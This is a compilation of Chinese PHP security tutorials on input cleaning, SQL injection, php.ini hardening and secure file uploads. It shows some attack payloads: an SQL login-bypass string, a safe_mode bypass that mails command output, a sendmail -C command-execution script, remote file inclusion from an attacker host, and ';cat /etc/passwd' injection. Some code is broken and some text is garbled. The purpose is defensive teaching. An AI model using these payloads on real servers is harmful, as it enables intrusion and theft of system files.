php上传安全
1. php有什么安全规则，有哪些
php安全篇值过滤用户输入的人参数
规则 1：绝不要信任外部数据或输入
关于Web应用程序安全性，必须认识到的第一件事是不应该信任外部数据。外部数据(outside data) 包括不是由程序员在PHP代码中直接输入的任何数据。在采取措施确保安全之前，来自任何其他来源(比如 GET 变量、表单 POST、数据库、配置文件、会话变量或 cookie)的任何数据都是不可信任的。
例如，下面的数据元素可以被认为是安全的，因为它们是在PHP中设置的。
复制代码 代码如下:
<?php
$myUsername = 'tmyer';
$arrayUsers = array('tmyer', 'tom', 'tommy');define(”GREETING”, 'hello there' . $myUsername);?>
但是，下面的数据元素都是有瑕疵的。
清单 2. 不安全、有瑕疵的代码
复制代码 代码如下:
<?php
$myUsername = $_POST['username']; //tainted!
$arrayUsers = array($myUsername, 'tom', 'tommy'); //tainted!
define(”GREETING”, 'hello there' . $myUsername); //tainted!
?>
为 什么第一个变量 $myUsername 是有瑕疵的？因为它直接来自表单 POST。用户可以在这个输入域中输入任何字符串，包括用来清除文件或运行以前上传的文件的恶意命令。您可能会问，“难道不能使用只接受字母 A-Z 的客户端（Javascrīpt）表单检验脚本来避免这种危险吗？”是的，这总是一个有好处的步骤，但是正如在后面会看到的，任何人都可以将任何表单下载 到自己的机器上，修改它，然后重新提交他们需要的任何内容。
解决方案很简单：必须对 $_POST['username'] 运行清理代码。如果不这么做，那么在使用 $myUsername 的任何其他时候（比如在数组或常量中），就可能污染这些对象。
对用户输入进行清理的一个简单方法是，使用正则表达式来处理它。在这个示例中，只希望接受字母。将字符串限制为特定数量的字符，或者要求所有字母都是小写的，这可能也是个好主意。
清单 3. 使用户输入变得安全
复制代码 代码如下:
<?php
$myUsername = cleanInput($_POST['username']); //clean!
$arrayUsers = array($myUsername, 'tom', 'tommy'); //clean!
define(”GREETING”, 'hello there' . $myUsername); //clean!
function cleanInput($input){
$clean = strtolower($input);
$clean = preg_replace(”/[^a-z]/”, “”, $clean);$clean = substr($clean,0,12);
return $clean;
}
?>
规则 2：禁用那些使安全性难以实施的 PHP 设置已经知道了不能信任用户输入，还应该知道不应该信任机器上配置 PHP 的方式。例如，要确保禁用 register_globals。如果启用了 register_globals，就可能做一些粗心的事情，比如使用 $variable 替换同名的 GET 或 POST 字符串。通过禁用这个设置，PHP 强迫您在正确的名称空间中引用正确的变量。要使用来自表单 POST 的变量，应该引用 $_POST['variable']。这样就不会将这个特定变量误会成 cookie、会话或 GET 变量。
规则 3：如果不能理解它，就不能保护它
一些开发人员使用奇怪的语法，或者将语句组织得很紧凑，形成简短但是含义模糊的代码。这种方式可能效率高，但是如果您不理解代码正在做什么，那么就无法决定如何保护它。
例如，您喜欢下面两段代码中的哪一段？
清单 4. 使代码容易得到保护
复制代码 代码如下:
<?php
//obfuscated code
$input = (isset($_POST['username']) ? $_POST['username']:”);//unobfuscated code
$input = ”;
if (isset($_POST['username'])){
$input = $_POST['username'];
}else{
$input = ”;
}
?>
在第二个比较清晰的代码段中，很容易看出 $input 是有瑕疵的，需要进行清理，然后才能安全地处理。
规则 4：“纵深防御” 是新的法宝
本教程将用示例来说明如何保护在线表单，同时在处理表单的 PHP 代码中采用必要的措施。同样，即使使用 PHP regex 来确保 GET 变量完全是数字的，仍然可以采取措施确保 sql 查询使用转义的用户输入。
纵深防御不只是一种好思想，它可以确保您不会陷入严重的麻烦。
既然已经讨论了基本规则，现在就来研究第一种威胁：SQL 注入攻击。
防止 SQL 注入攻击
在 SQL 注入攻击 中，用户通过操纵表单或 GET 查询字符串，将信息添加到数据库查询中。例如，假设有一个简单的登录数据库。这个数据库中的每个记录都有一个用户名字段和一个密码字段。构建一个登录表单，让用户能够登录。
清单 5. 简单的登录表单
复制代码 代码如下:
<html>
<head>
<title>Login</title>
</head>
<body>
<form action=”verify.php” method=”post”>
<p><label for='user'>Username</label>
<input type='text' name='user' id='user'/>
</p>
<p><label for='pw'>Password</label>
<input type='password' name='pw' id='pw'/>
</p>
<p><input type='submit' value='login'/></p>
</form>
</body>
</html>
这个表单接受用户输入的用户名和密码，并将用户输入提交给名为 verify.php 的文件。在这个文件中，PHP 处理来自登录表单的数据，如下所示：
清单 6. 不安全的 PHP 表单处理代码
复制代码 代码如下:
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = “select count(*) as ctr from users where username='”.$username.”' and password='”. $pw.”' limit 1″;$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){if ($data->ctr == 1){
//they're okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(”index.php”);
}else{
header(”login.php”);
}
?>
这 段代码看起来没问题，对吗？世界各地成百（甚至成千）的 PHP/MySQL 站点都在使用这样的代码。它错在哪里？好，记住 “不能信任用户输入”。这里没有对来自用户的任何信息进行转义，因此使应用程序容易受到攻击。具体来说，可能会出现任何类型的 SQL 注入攻击。
例如，如果用户输入 foo 作为用户名，输入 ' or '1′='1 作为密码，那么实际上会将以下字符串传递给 PHP，然后将查询传递给 MySQL：
复制代码 代码如下:
<?php
$sql = “select count(*) as ctr from users where username='foo' and password=” or '1′='1′ limit 1″;?>
这个查询总是返回计数值 1，因此 PHP 会允许进行访问。通过在密码字符串的末尾注入某些恶意 SQL，黑客就能装扮成合法的用户。
解 决这个问题的办法是，将 PHP 的内置 mysql_real_escape_string() 函数用作任何用户输入的包装器。这个函数对字符串中的字符进行转义，使字符串不可能传递撇号等特殊字符并让 MySQL 根据特殊字符进行操作。清单 7 展示了带转义处理的代码。
清单 7. 安全的 PHP 表单处理代码
复制代码 代码如下:
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = “select count(*) as ctr from users where username='”.mysql_real_escape_string($username).”' and password='”. mysql_real_escape_string($pw).”' limit 1″;$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){if ($data->ctr == 1){
//they're okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(”index.php”);
}else{
header(”login.php”);
}
?>
使用 mysql_real_escape_string() 作为用户输入的包装器，就可以避免用户输入中的任何恶意 SQL 注入。如果用户尝试通过 SQL 注入传递畸形的密码，那么会将以下查询传递给数据库：
select count(*) as ctr from users where username='foo' and password='\' or \'1\'=\'1′ limit 1″数据库中没有任何东西与这样的密码匹配。仅仅采用一个简单的步骤，就堵住了 Web 应用程序中的一个大漏洞。这里得出的经验是，总是应该对 SQL 查询的用户输入进行转义。
但是，还有几个安全漏洞需要堵住。下一项是操纵 GET 变量。
防止用户操纵 GET 变量
在前一节中，防止了用户使用畸形的密码进行登录。如果您很聪明，应该应用您学到的方法，确保对 SQL 语句的所有用户输入进行转义。
但 是，用户现在已经安全地登录了。用户拥有有效的密码，并不意味着他将按照规则行事 —— 他有很多机会能够造成损害。例如，应用程序可能允许用户查看特殊的内容。所有链接指向 template.php?pid=33 或 template.php?pid=321 这样的位置。URL 中问号后面的部分称为查询字符串。因为查询字符串直接放在 URL 中，所以也称为 GET 查询字符串。
在 PHP 中，如果禁用了 register_globals，那么可以用 $_GET['pid'] 访问这个字符串。在 template.php 页面中，可能会执行与清单 8 相似的操作。
清单 8. 示例 template.php
复制代码 代码如下:
<?php
$pid = $_GET['pid'];
//we create an object of a fictional class Page$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
这 里有什么错吗？首先，这里隐含地相信来自浏览器的 GET 变量 pid 是安全的。这会怎么样呢？大多数用户没那么聪明，无法构造出语义攻击。但是，如果他们注意到浏览器的 URL 位置域中的 pid=33，就可能开始捣乱。如果他们输入另一个数字，那么可能没问题；但是如果输入别的东西，比如输入 SQL 命令或某个文件的名称（比如 /etc/passwd），或者搞别的恶作剧，比如输入长达 3,000 个字符的数值，那么会发生什么呢？
在这种情况下，要记住基本规则，不要信任用户输入。应用程序开发人员知道 template.php 接受的个人标识符（PID）应该是数字，所以可以使用 PHP 的 is_numeric()函数确保不接受非数字的 PID，如下所示：
清单 9. 使用 is_numeric() 来限制 GET 变量复制代码 代码如下:
<?php
$pid = $_GET['pid'];
if (is_numeric($pid)){
//we create an object of a fictional class Page$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page}else{
//didn't pass the is_numeric() test, do something else!
}
?>
这个方法似乎是有效的，但是以下这些输入都能够轻松地通过 is_numeric() 的检查：
100 （有效）
100.1 （不应该有小数位）
+0123.45e6 （科学计数法 —— 不好）
0xff33669f （十六进制 —— 危险！危险！）那么，有安全意识的 PHP 开发人员应该怎么做呢？多年的经验表明，最好的做法是使用正则表达式来确保整个 GET 变量由数字组成，如下所示：
清单 10. 使用正则表达式限制 GET 变量
复制代码 代码如下:
<?php
$pid = $_GET['pid'];
if (strlen($pid)){
if (!ereg(”^[0-9]+$”,$pid)){
//do something appropriate, like maybe logging them out or sending them back to home page}
}else{
//empty $pid, so send them back to the home page}
//we create an object of a fictional class Page, which is now//moderately protected from evil user input$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
需 要做的只是使用 strlen() 检查变量的长度是否非零；如果是，就使用一个全数字正则表达式来确保数据元素是有效的。如果 PID 包含字母、斜线、点号或任何与十六进制相似的内容，那么这个例程捕获它并将页面从用户活动中屏蔽。如果看一下 Page 类幕后的情况，就会看到有安全意识的 PHP 开发人员已经对用户输入 $pid 进行了转义，从而保护了 fetchPage() 方法，如下所示：
清单 11. 对 fetchPage() 方法进行转义
复制代码 代码如下:
<?php
class Page{
function fetchPage($pid){
$sql = “select pid,title,desc,kw,content,status from page where pid='”.mysql_real_escape_string($pid).”'”;}
}
?>
您可能会问，“既然已经确保 PID 是数字，那么为什么还要进行转义？” 因为不知道在多少不同的上下文和情况中会使用 fetchPage() 方法。必须在调用这个方法的所有地方进行保护，而方法中的转义体现了纵深防御的意义。
如 果用户尝试输入非常长的数值，比如长达 1000 个字符，试图发起缓冲区溢出攻击，那么会发生什么呢？下一节更详细地讨论这个问题，但是目前可以添加另一个检查，确保输入的 PID 具有正确的长度。您知道数据库的 pid 字段的最大长度是 5 位，所以可以添加下面的检查。
清单 12. 使用正则表达式和长度检查来限制 GET 变量复制代码 代码如下:
<?php
$pid = $_GET['pid'];
if (strlen($pid)){
if (!ereg(”^[0-9]+$”,$pid) && strlen($pid) > 5){//do something appropriate, like maybe logging them out or sending them back to home page}
} else {
//empty $pid, so send them back to the home page}
//we create an object of a fictional class Page, which is now//even more protected from evil user input$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
现在，任何人都无法在数据库应用程序中塞进一个 5,000 位的数值 —— 至少在涉及 GET 字符串的地方不会有这种情况。想象一下黑客在试图突破您的应用程序而遭到挫折时咬牙切齿的样子吧！而且因为关闭了错误报告，黑客更难进行侦察。
缓冲区溢出攻击
缓冲区溢出攻击 试图使 PHP 应用程序中（或者更精确地说，在 Apache 或底层操作系统中）的内存分配缓冲区发生溢出。请记住，您可能是使用 PHP 这样的高级语言来编写 Web 应用程序，但是最终还是要调用 C（在 Apache 的情况下）。与大多数低级语言一样，C 对于内存分配有严格的规则。
缓冲区溢出攻击向缓冲区发送大量数据，使部分数据溢出到相邻的内存缓冲区，从而破坏缓冲区或者重写逻辑。这样就能够造成拒绝服务、破坏数据或者在远程服务器上执行恶意代码。
防止缓冲区溢出攻击的惟一方法是检查所有用户输入的长度。例如，如果有一个表单元素要求输入用户的名字，那么在这个域上添加值为 40 的 maxlength 属性，并在后端使用 substr() 进行检查。清单 13 给出表单和 PHP 代码的简短示例。
2. php安全配置 如何配置使其更安全
一、Web服务器安全
PHP其实不过是Web服务器的一个模块功能，所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全，这样就扯远了，无穷无尽。PHP可以和各种Web服务器结合，这里也只讨论Apache。非常建议以chroot方式安装启动Apache，这样即使Apache和PHP及其脚本出现漏洞，受影响的也只有这个禁锢的系统，不会危害实际系统。但是使用chroot的Apache后，给应用也会带来一定的麻烦，比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接，这在效率上会稍微差一点。还有mail函数发送邮件也是个问题，因为php.ini里的：
[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = [email protected]
都是针对Win32平台，所以需要在chroot环境下调整好sendmail。
二、PHP本身问题
1、远程溢出
PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞，而且攻击程序已经广泛流传，成功率非常高：
http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt
2、远程拒绝服务
PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞，虽然不能获得本地用户权限，但是也能造成拒绝服务。
3、safe_mode绕过漏洞
还有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞，4.0.5版本开始mail函数增加了第五个参数，由于设计者考虑不周可以突破safe_mode的限制执行命令。其中4.0.5版本突破非常简单，只需用分号隔开后面加shell命令就可以了，比如存在PHP脚本evil.php：
<? mail("foo@bar,"foo","bar","",$bar); ?>
执行如下的URL：
http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]
这将id执行的结果发送给[email protected]。
对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数，所以系统必须是使用sendmail。如下的代码能够突破safe_mode限制执行命令：
<?
# 注意，下面这两个必须是不存在的，或者它们的属主和本脚本的属主是一样
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
?>
还是使用以上有问题版本PHP的用户一定要及时升级到最新版本，这样才能消除基本的安全问题。
三、PHP本身的安全配置
PHP的配置非常灵活，可以通过php.ini, httpd.conf, .htaccess文件（该目录必须设置了AllowOverride All或Options）进行设置，还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。
如果配置选项是唯一PHP_INI_SYSTEM属性的，必须通过php.ini和httpd.conf来修改，它们修改的是PHP的Master值，但修改之后必须重启apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效，httpd.conf里设置的选项是对该定义的目录下所有脚本生效。
如果还有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL属性的选项就可以使用.htaccess文件设置，也可以通过在脚本程序自身用ini_set()函数设定，它们修改的是Local值，改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效，ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。各个版本的选项属性可能不尽相同，可以用如下命令查找当前源代码的main.c文件得到所有的选项，以及它的属性：
# grep PHP_INI_ /PHP_SRC/main/main.c
在讨论PHP安全配置之前，应该好好了解PHP的safe_mode模式。
1、safe_mode
safe_mode是唯一PHP_INI_SYSTEM属性，必须通过php.ini或httpd.conf来设置。要启用safe_mode，只需修改php.ini：
safe_mode = On
或者修改httpd.conf，定义目录：
<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>
重启apache后safe_mode就生效了。启动safe_mode，会对许多PHP函数进行限制，特别是和系统相关的文件打开、命令执行等函数。
所有操作文件的函数将只能操作与脚本UID相同的文件，比如test.php脚本的内容为：
<?include("index.html")?>
几个文件的属性如下：
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php
在浏览器请求test.php会提示如下的错误信息：
Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1
如果被操作文件所在目录的UID和脚本UID一致，那么该文件的UID即使和脚本不同也可以访问的，不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途，绝对禁止使用root做为php脚本的属主，这样就达不到safe_mode的效果了。
如果想将其放宽到GID比较，则打开 safe_mode_gid可以考虑只比较文件的GID，可以设置如下选项：
safe_mode_gid = On
设置了safe_mode以后，所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序，而且shell_exec、`ls -l`这种执行命令的方式会被禁止。如果确实需要调用其它程序，可以在php.ini做如下设置：
safe_mode_exec_dir = /usr/local/php/exec
然后拷贝程序到该目录，那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。
safe_mode_include_dir string
当从此目录及其子目录（目录必须在 include_path 中或者用完整路径来包含）包含文件时越过 UID/GID 检查。
从 PHP 4.2.0 开始，本指令可以接受和 include_path 指令类似的风格用分号隔开的路径，而不只是一个目录。
指定的限制实际上是一个前缀，而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”，如果它们存在。如果您希望将访问控制在一个指定的目录，那么请在结尾加上一个斜线，例如：“safe_mode_include_dir = /dir/incl/”。
safe_mode_allowed_env_vars string
设置某些环境变罧赡苁乔痹诘陌踩?笨凇1局噶畎??幸桓龆汉欧指舻那白毫斜怼T诎踩?J较拢?没е荒芨谋淠切┟?志哂性谡饫锾峁┑那白旱幕肪潮淞俊D?锨榭鱿拢?没е荒苌柚靡?PHP_ 开头的环境变量（例如 PHP_FOO = BAR）。
注: 如果本指令为空，PHP 将使用户可以修改任何环境变量！
safe_mode_protected_env_vars string
本指令包含有一个逗号分隔的环境变量的列表，最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。
虽然safe_mode不是万能的（低版本的PHP可以绕过），但还是强烈建议打开安全模式，在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制，可能对应用带来影响，所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。
讨论完safe_mode后，下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。
2、变量滥用
PHP默认register_globals = On，对于GET, POST, Cookie, Environment, Session的变罧梢灾苯幼⒉岢扇?直淞俊K?堑淖⒉崴承蚴荚ariables_order = "EGPCS"（可以通过php.ini修改），同名变量variables_order右边的覆盖左边，所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯，像如下的程序片断就极易受到攻击：
<?
//test_1.php
if ($pass == "hello")
$auth = 1;
if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>
攻击者只需用如下的请求就能绕过检查：
http://victim/test_1.php?auth=1
这虽然是一个很弱智的错误，但一些着名的程序也有犯过这种错误，比如phpnuke的远程文件拷贝漏洞http://www.securityfocus.com/bid/3361
PHP-4.1.0发布的时候建议关闭register_globals，并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量，必需通过数组变量来存取。PHP-4.2.0发布的时候，php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值，一般为0，避免了攻击者控制判断变量。
解决方法：
配置文件php.ini设置register_globals = Off。
要求程序员对作为判断的变量在程序最开始初始化一个值。
3、文件打开
极易受攻击的代码片断：
<?
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>
由于攻击者可以指定任意的$filename，攻击者用如下的请求就可以看到/etc/passwd：
http://victim/test_2.php?filename=/etc/passwd
如下请求可以读php文件本身：
http://victim/test_2.php?filename=test_2.php
PHP中文件打开函数还有fopen(), file()等，如果对文件名变量检查不严就会造成服务器重要文件被访问读取。
解决方法：
如非特殊需要，把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子：
<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>
重启apache后，/usr/local/apache/htdocs目录下的PHP脚本就只能操作它自己目录下的文件了，否则PHP就会报错：
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.
使用safe_mode模式也能避免这种问题，前面已经讨论过了。
4、包含文件
极易受攻击的代码片断：
<?
//test_3.php
if(file_exists($filename))
include("$filename");
?>
这种不负责任的代码会造成相当大的危害，攻击者用如下请求可以得到/etc/passwd文件：
http://victim/test_3.php?filename=/etc/passwd
如果对于Unix版的PHP（Win版的PHP不支持远程打开文件）攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件，http://attack/attack.txt的内容是<?passthru("ls /etc")?>，那么如下的请求就可以在目标主机执行命令ls /etc：
http://victim/test_3.php?filename=http://attack/attack.txt
攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码，不过由于干扰信息太多，有时不易成功。
对于另外一种形式，如下代码片断：
<?
//test_4.php
include("$lib/config.php");
?>
攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件，然后用如下请求也可以在目标主机执行命令：
http://victim/test_4.php?lib=http://attack
PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险，可以远程执行命令。
解决方法：
要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。
如前面文件打开中限制PHP操作路径是一个必要的选项。另外，如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件：
allow_url_fopen = Off
重启apache。
5、文件上传
php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录（默认是系统的临时目录，如：/tmp）里的一个类似phpxXuoXG的随机临时文件，程序执行结束，该临时文件也被删除。PHP给上传的文件定义了四个变量：（如form变量名是file，而且register_globals打开）
$file #就是保存到服务器端的临时文件（如/tmp/phpxXuoXG ）
$file_size #上传文件的大小
$file_name #上传文件的原始名称
$file_type #上传文件的类型
推荐使用：
$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]
这是一个最简单的文件上传代码：
<?
//test_5.php
if(isset($upload) && $file != "none") {
($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上传成功！点击<a href=\"$PHP_SELF\">继续上传</a>";
exit;
}
?>
<html>
<head>
<title>文件上传</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上传文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上传">
</form>
</body>
</html>
这样的上传代码存在读取任意文件和执行命令的重大问题。
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test（注意：这个目录必须nobody可写）下的attack.txt文件里：
http://victim/test_5.php?upload= ... ile_name=attack.txt
然后可以用如下请求读取口令文件：
http://victim/test/attack.txt
攻击者可以把php文件拷贝成其它扩展名，泄漏脚本源代码。
攻击者可以自定义form里file_name变量的值，上传覆盖任意有写权限的文件。
攻击者还可以上传PHP脚本执行主机的命令。
解决方法：
PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数，可以检查操作的文件是否是用户上传的文件，从而避免把系统文件拷贝到web目录。
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
严格检查上传变量。比如不允许是php脚本文件。
把PHP脚本操作限制在web目录可以避免程序员使用函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini里upload_tmp_dir的值。
把PHP脚本用phpencode进行加密，避免由于操作泄漏源码。
严格配置文件和目录的权限，只允许上传的目录能够让nobody用户可写。
对于上传目录去掉PHP解释功能，可以通过修改httpd.conf实现：
<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3换成php3_engine off
</Directory>
重启apache，upload目录的php文件就不能被apache解释了，即使上传了php文件也没有问题，只能直接显示源码。
6、命令执行
下面的代码片断是从PHPNetToolpack摘出，详细的描述见：
http://www.securityfocus.com/bid/4303
<?
//test_6.php
system("traceroute $a_query",$ret_strs);
?>
由于程序没有过滤$a_query变量，所以攻击者可以用分号来追加执行命令。
攻击者输入如下请求可以执行cat /etc/passwd命令：
http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd
PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险，慎用。如果要使用一定要严格检查用户输入。
解决方法：
要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。
启用safe_mode可以杜绝很多执行命令的问题，不过要注意PHP的版本一定要是最新的，小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。
7、sql_inject
如下的SQL语句如果未对变量进行处理就会存在问题：
select * from login where user=$user and pass=$pass
攻击者可以用户名和口令都输入1 or 1=1绕过验证。
不过幸亏PHP有一个默认的选项magic_quotes_gpc = On，该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了：
select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1
从而避免了此类sql_inject攻击。
对于数字类型的字段，很多程序员会这样写：
select * from test where id=$id
由于变量没有用单引号扩起来，就会造成sql_inject攻击。幸亏MySQL功能简单，没有sqlserver等数据库有执行命令的SQL语句，而且PHP的mysql_query()函数也只允许执行一条SQL语句，所以用分号隔开多条SQL语句的攻击也不能奏效。但是攻击者起码还可以让查询语句出错，泄漏系统的一些信息，或者一些意想不到的情况。
解决方法：
要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
即使是数字类型的字段，变量也要用单引号扩起来，MySQL自己会把字串处理成数字。
在MySQL里不要给PHP程序高级别权限的用户，只允许对自己的库进行操作，这也避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。
8、警告及错误信息
PHP默认显示所有的警告及错误信息：
error_reporting = E_ALL & ~E_NOTICE
display_errors = On
在平时开发调试时这非常有用，可以根据警告信息马上找到程序错误所在。
正式应用时，警告及错误信息让用户不知所措，而且给攻击者泄漏了脚本所在的物理路径，为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到错误的地方，反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记录到一个日志文件是非常明智的，即不给攻击者泄漏物理路径，又能让自己知道程序错误所在。
修改php.ini中关于Error handling and logging部分内容：
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log
然后重启apache，注意文件/usr/local/apache/logs/php_error.log必需可以让nobody用户可写。
9、disable_functions
如果觉得有些函数还有威胁，可以设置php.ini里的disable_functions（这个选项不能在httpd.conf里设置），比如：
disable_functions = phpinfo, get_cfg_var
可以指定多个函数，用逗号分开。重启apache后，phpinfo, get_cfg_var函数都被禁止了。建议关闭函数phpinfo, get_cfg_var，这两个函数容易泄漏服务器信息，而且没有实际用处。
10、disable_classes
这个选项是从PHP-4.3.2开始才有的，它可以禁用某些类，如果有多个用逗号分隔类名。disable_classes也不能在httpd.conf里设置，只能在php.ini配置文件里修改。
11、open_basedir
前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制，这里再介绍一下它的特性。用open_basedir指定的限制实际上是前缀，不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls"，如果它们存在的话。如果要将访问限制在仅为指定的目录，用斜线结束路径名。例如："open_basedir = /dir/incl/"。
可以设置多个目录，在Windows中，用分号分隔目录。在任何其它系统中用冒号分隔目录。作为Apache模块时，父目录中的open_basedir路径自动被继承。
四、其它安全配置
1、取消其它用户对常用、重要系统命令的读写执行权限
一般管理员维护只需一个普通用户和管理用户，除了这两个用户，给其它用户能够执行和访问的东西应该越少越好，所以取消其它用户对常用、重要系统命令的读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住一定要连读的权限也去掉，否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这种方式来执行。
如果要取消某程如果是在chroot环境里，这个工作比较容易实现，否则，这项工作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。PHP的mail函数需要/bin/sh去调用sendmail发信，所以/bin/bash的执行权限不能去掉。这是一项比较累人的工作，
2、去掉apache日志其它用户的读权限
apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交包含PHP代码的URL，可以使access-log包含PHP代码，那么把包含文件指向access-log就可以执行那些PHP代码，从而获得本地访问权限。
如果有其它虚拟主机，也应该相应去掉该日志文件其它用户的读权限。
当然，如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。
3. 如何设计出一个安全的文件上传功能
这两天我们的老朋友PDP在BlackHat 08上做了一个关于GIFAR的演讲。和往常一样，PDP的东西基本上都很猥琐，这个也是。主题是关于是如何把GIF或者 JPG文件和JAR文件捆绑在一起，然后欺骗服务器以为是GIF或JPG文件，结果却是在客户端的JVM中执行JAR的例子。
他还举了些欺骗的例子，比如在office2007中，doc文件实际上就是zip格式了，里面都是些xml，那么他把jar文件打包在zip文件里，再把后缀改成doc，来达到欺骗的目的。
在这里是客户端的问题，我想到的则是其他的问题，比如安全上传。
根据以往的经验看来，我们可能会设计如下文件上传的安全规则：
1. 文件上传的目录设置为不可执行
2. 判断文件类型
3. 单独设置文件服务器的域名
4. 改写文件名，文件路径不可预测
第一点规则是显而易见的，是为了减小执行动态语言脚本的风险。如果被成功上传了一个webshell，但是不能执行，还是能够起到深度防御的作用。
第二点，在判断文件类型的时候，我们一般要求使用白名单，而不是黑名单，因为黑名单可能会列不全，还可能会造成一些bypass的风险。
比如以前老版本的 FCKEditor就出过这种问题，只做了黑名单的控制，最后被bypass。
